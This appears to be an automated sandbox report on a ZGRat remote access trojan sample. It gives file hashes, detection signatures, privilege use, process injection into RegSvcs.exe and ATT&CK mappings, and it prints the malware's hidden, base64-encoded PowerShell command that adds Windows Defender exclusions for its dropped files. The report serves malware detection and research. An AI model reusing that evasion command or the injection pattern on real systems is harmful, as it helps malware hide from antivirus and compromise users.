zgrat | cd2cc1403cb829e7d7454a3a80d9875834bd3b0837e56493369f2d842bf3f569

Resubmissions

03/01/2024, 11:37

240103-nrgycafdf4 10

03/01/2024, 11:18

240103-nd9q7scgfm 10

Analysis

max time kernel
159s
max time network
173s
platform
windows10-1703_x64
resource
win10-20231215-en
resource tags

arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
submitted
03/01/2024, 11:37

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General

Target

Debug.exe
Size

631KB
MD5

eec03d362a4c66fe6ac8064ae68bda50
SHA1

8aa051b9c7f201eb9504fb7023bbc5ffa2458293
SHA256

cd2cc1403cb829e7d7454a3a80d9875834bd3b0837e56493369f2d842bf3f569
SHA512

e6f07b5171fee9fa534f57376aaf6061e541da4ad9cee2e50b3d2ee3eed7cd2d0ed2942a479e8887dc7e4247e969b081b5ebef758854e7c62be35e2af49a8f2d
SSDEEP

12288:vEZR29MfzdOwMI5F09MyMeWR+KSS2g/Pd35/K9TGH4CaxJDua:MZR29Mfzdu6LyZTIdJ/K98n6u

Score

10^/10

zgrat rat

Malware Config

Signatures

Detect ZGRat V1 1 IoCs

resource	yara_rule
behavioral2/memory/2092-1-0x000002ACAF670000-0x000002ACAF772000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Executes dropped EXE 1 IoCs

pid	Process
2960	Name.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2960 set thread context of 5052	2960	Name.exe	77

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
5052	RegSvcs.exe
5052	RegSvcs.exe
5052	RegSvcs.exe
5052	RegSvcs.exe
5052	RegSvcs.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	2092	Debug.exe
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeIncreaseQuotaPrivilege	3656	powershell.exe
Token: SeSecurityPrivilege	3656	powershell.exe
Token: SeTakeOwnershipPrivilege	3656	powershell.exe
Token: SeLoadDriverPrivilege	3656	powershell.exe
Token: SeSystemProfilePrivilege	3656	powershell.exe
Token: SeSystemtimePrivilege	3656	powershell.exe
Token: SeProfSingleProcessPrivilege	3656	powershell.exe
Token: SeIncBasePriorityPrivilege	3656	powershell.exe
Token: SeCreatePagefilePrivilege	3656	powershell.exe
Token: SeBackupPrivilege	3656	powershell.exe
Token: SeRestorePrivilege	3656	powershell.exe
Token: SeShutdownPrivilege	3656	powershell.exe
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeSystemEnvironmentPrivilege	3656	powershell.exe
Token: SeRemoteShutdownPrivilege	3656	powershell.exe
Token: SeUndockPrivilege	3656	powershell.exe
Token: SeManageVolumePrivilege	3656	powershell.exe
Token: 33	3656	powershell.exe
Token: 34	3656	powershell.exe
Token: 35	3656	powershell.exe
Token: 36	3656	powershell.exe
Token: SeIncreaseQuotaPrivilege	3656	powershell.exe
Token: SeSecurityPrivilege	3656	powershell.exe
Token: SeTakeOwnershipPrivilege	3656	powershell.exe
Token: SeLoadDriverPrivilege	3656	powershell.exe
Token: SeSystemProfilePrivilege	3656	powershell.exe
Token: SeSystemtimePrivilege	3656	powershell.exe
Token: SeProfSingleProcessPrivilege	3656	powershell.exe
Token: SeIncBasePriorityPrivilege	3656	powershell.exe
Token: SeCreatePagefilePrivilege	3656	powershell.exe
Token: SeBackupPrivilege	3656	powershell.exe
Token: SeRestorePrivilege	3656	powershell.exe
Token: SeShutdownPrivilege	3656	powershell.exe
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeSystemEnvironmentPrivilege	3656	powershell.exe
Token: SeRemoteShutdownPrivilege	3656	powershell.exe
Token: SeUndockPrivilege	3656	powershell.exe
Token: SeManageVolumePrivilege	3656	powershell.exe
Token: 33	3656	powershell.exe
Token: 34	3656	powershell.exe
Token: 35	3656	powershell.exe
Token: 36	3656	powershell.exe
Token: SeDebugPrivilege	2960	Name.exe
Token: SeDebugPrivilege	5052	RegSvcs.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2960 wrote to memory of 5052	2960	Name.exe	77
PID 2960 wrote to memory of 5052	2960	Name.exe	77
PID 2960 wrote to memory of 5052	2960	Name.exe	77
PID 2960 wrote to memory of 5052	2960	Name.exe	77
PID 2960 wrote to memory of 5052	2960	Name.exe	77
PID 2960 wrote to memory of 5052	2960	Name.exe	77

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Debug.exe
"C:\Users\Admin\AppData\Local\Temp\Debug.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2092

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABlAGYAYQB1AGwAdABcAE4AYQBtAGUALgBlAHgAZQAsAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUAIAAtAEYAbwByAGMAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEQAZQBmAGEAdQBsAHQAXABOAGEAbQBlAC4AZQB4AGUA
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3656

C:\Users\Admin\AppData\Roaming\Default\Name.exe
C:\Users\Admin\AppData\Roaming\Default\Name.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2960
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dilwwfav.53k.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\Default\Name.exe

Filesize
631KB

MD5
eec03d362a4c66fe6ac8064ae68bda50

SHA1
8aa051b9c7f201eb9504fb7023bbc5ffa2458293

SHA256
cd2cc1403cb829e7d7454a3a80d9875834bd3b0837e56493369f2d842bf3f569

SHA512
e6f07b5171fee9fa534f57376aaf6061e541da4ad9cee2e50b3d2ee3eed7cd2d0ed2942a479e8887dc7e4247e969b081b5ebef758854e7c62be35e2af49a8f2d

Download Submit
memory/2092-4-0x000002ACAF810000-0x000002ACAF866000-memory.dmp

Filesize
344KB

Download
memory/2092-2-0x00007FFFFA280000-0x00007FFFFAC6C000-memory.dmp

Filesize
9.9MB

Download
memory/2092-63-0x00007FFFFA280000-0x00007FFFFAC6C000-memory.dmp

Filesize
9.9MB

Download
memory/2092-5-0x000002ACAF870000-0x000002ACAF8BC000-memory.dmp

Filesize
304KB

Download
memory/2092-6-0x000002ACAF8C0000-0x000002ACAF914000-memory.dmp

Filesize
336KB

Download
memory/2092-67-0x00007FFFFA280000-0x00007FFFFAC6C000-memory.dmp

Filesize
9.9MB

Download
memory/2092-0-0x000002AC95290000-0x000002AC95332000-memory.dmp

Filesize
648KB

Download
memory/2092-1-0x000002ACAF670000-0x000002ACAF772000-memory.dmp

Filesize
1.0MB

Download
memory/2092-3-0x000002ACAF790000-0x000002ACAF7A0000-memory.dmp

Filesize
64KB

Download
memory/2960-71-0x000002227E000000-0x000002227E010000-memory.dmp

Filesize
64KB

Download
memory/2960-73-0x000002227E000000-0x000002227E010000-memory.dmp

Filesize
64KB

Download
memory/2960-70-0x00007FFFFA280000-0x00007FFFFAC6C000-memory.dmp

Filesize
9.9MB

Download
memory/2960-74-0x000002227E000000-0x000002227E010000-memory.dmp

Filesize
64KB

Download
memory/2960-78-0x00007FFFFA280000-0x00007FFFFAC6C000-memory.dmp

Filesize
9.9MB

Download
memory/3656-12-0x0000017C3FF30000-0x0000017C3FF40000-memory.dmp

Filesize
64KB

Download
memory/3656-11-0x00007FFFFA280000-0x00007FFFFAC6C000-memory.dmp

Filesize
9.9MB

Download
memory/3656-56-0x0000017C3FF30000-0x0000017C3FF40000-memory.dmp

Filesize
64KB

Download
memory/3656-33-0x0000017C3FF30000-0x0000017C3FF40000-memory.dmp

Filesize
64KB

Download
memory/3656-19-0x0000017C40260000-0x0000017C402D6000-memory.dmp

Filesize
472KB

Download
memory/3656-15-0x0000017C400B0000-0x0000017C400D2000-memory.dmp

Filesize
136KB

Download
memory/3656-13-0x0000017C3FF30000-0x0000017C3FF40000-memory.dmp

Filesize
64KB

Download
memory/3656-62-0x00007FFFFA280000-0x00007FFFFAC6C000-memory.dmp

Filesize
9.9MB

Download
memory/5052-76-0x00007FFFFA280000-0x00007FFFFAC6C000-memory.dmp

Filesize
9.9MB

Download
memory/5052-77-0x000001C7F1E30000-0x000001C7F1E40000-memory.dmp

Filesize
64KB

Download
memory/5052-79-0x000001C7F1E30000-0x000001C7F1E40000-memory.dmp

Filesize
64KB

Download
memory/5052-80-0x000001C7F1E30000-0x000001C7F1E40000-memory.dmp

Filesize
64KB

Download
memory/5052-81-0x00007FFFFA280000-0x00007FFFFAC6C000-memory.dmp

Filesize
9.9MB

Download
memory/5052-82-0x000001C7F1E30000-0x000001C7F1E40000-memory.dmp

Filesize
64KB

Download
memory/5052-83-0x000001C7F1E30000-0x000001C7F1E40000-memory.dmp

Filesize
64KB

Download
memory/5052-84-0x000001C7F1E30000-0x000001C7F1E40000-memory.dmp

Filesize
64KB

Download